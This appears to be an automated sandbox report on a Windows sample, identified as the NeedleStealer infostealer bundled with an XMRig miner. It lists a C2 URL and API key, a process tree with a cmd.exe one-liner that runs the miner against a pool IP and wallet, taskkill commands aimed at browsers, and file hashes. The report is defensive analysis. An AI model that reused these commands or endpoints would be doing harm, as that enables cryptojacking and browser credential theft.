Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/07/2026, 22:31

General

  • Target
    file.exe
  • Size 10KB
  • Sample260730-2fldaaycre
  • SHA256 ca116b3d7caea85d448cc674087381d06902d80f2d2842e8dc22cd4b266379b5
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • needle_stealer

C2
  • http://130.12.180.135:3000/api/v2

Attributes
  • api_key

    alk_2f668968ee87e7d30f8b996112bebef880cfe8626af9c1d8d53e0f719e47be4f

  • base_extension

    false

  • self_destruct

    false

Signatures

  • Family: NeedleStealer

    NeedleStealer is a modular stealer written in Golang.

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Detects NeedleStealer payload 1 IoCs
  • XMRig Miner payload 2 IoCs
  • Downloads MZ/PE file 2 IoCs
  • Executes dropped EXE 5 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Kills process with taskkill 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Downloads MZ/PE file
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3352
    • C:\Users\Admin\AppData\Local\Temp\1380918317.exe
      C:\Users\Admin\AppData\Local\Temp\1380918317.exe
      2⤵
      • Downloads MZ/PE file
      • Executes dropped EXE
      • Adds Run key to start application
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2304
      • C:\Users\Admin\sysmgnrsv.exe
        C:\Users\Admin\sysmgnrsv.exe
        3⤵
        • Executes dropped EXE
        PID:1976
      • C:\sysfrodolv.exe
        \sysfrodolv.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1524
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=25
          4⤵
          • Executes a command shell one-liner
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3792
          • C:\Users\Admin\sysmgnrsv.exe
            C:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=25
            5⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:2532
    • C:\Users\Admin\AppData\Local\Temp\1556729747.exe
      C:\Users\Admin\AppData\Local\Temp\1556729747.exe
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1444
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM chrome.exe /T
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1848
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM msedge.exe /T
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4576
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM msedgewebview2.exe /T
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:256

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        1380918317.exe

        • Path C:\Users\Admin\AppData\Local\Temp\1380918317.exe
        • Size 12KB
        • SHA256 01f64c61767bc41f039cf2080e61da49c96b14e4d558da6c03128e40ca816799
        • MD5 SHA1 SHA512 SSDEEP TLSH

        1556729747.exe

        • Path C:\Users\Admin\AppData\Local\Temp\1556729747.exe
        • Size 8.3MB
        • SHA256 ed1d3f69fbbd5576c2ed8dba45ba22c4f6884eb311d4f6e389203846d512ec11
        • MD5 SHA1 SHA512 SSDEEP TLSH

        sysmgnrsv.exe

        • Path C:\Users\Admin\sysmgnrsv.exe
        • Size 6.2MB
        • SHA256 001816f728d96a823a88e8243cba32486ff0207c123628fa767073bb4a49cd6e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1976-20-0x000001E4AC3B0000-0x000001E4AC3D0000-memory.dmp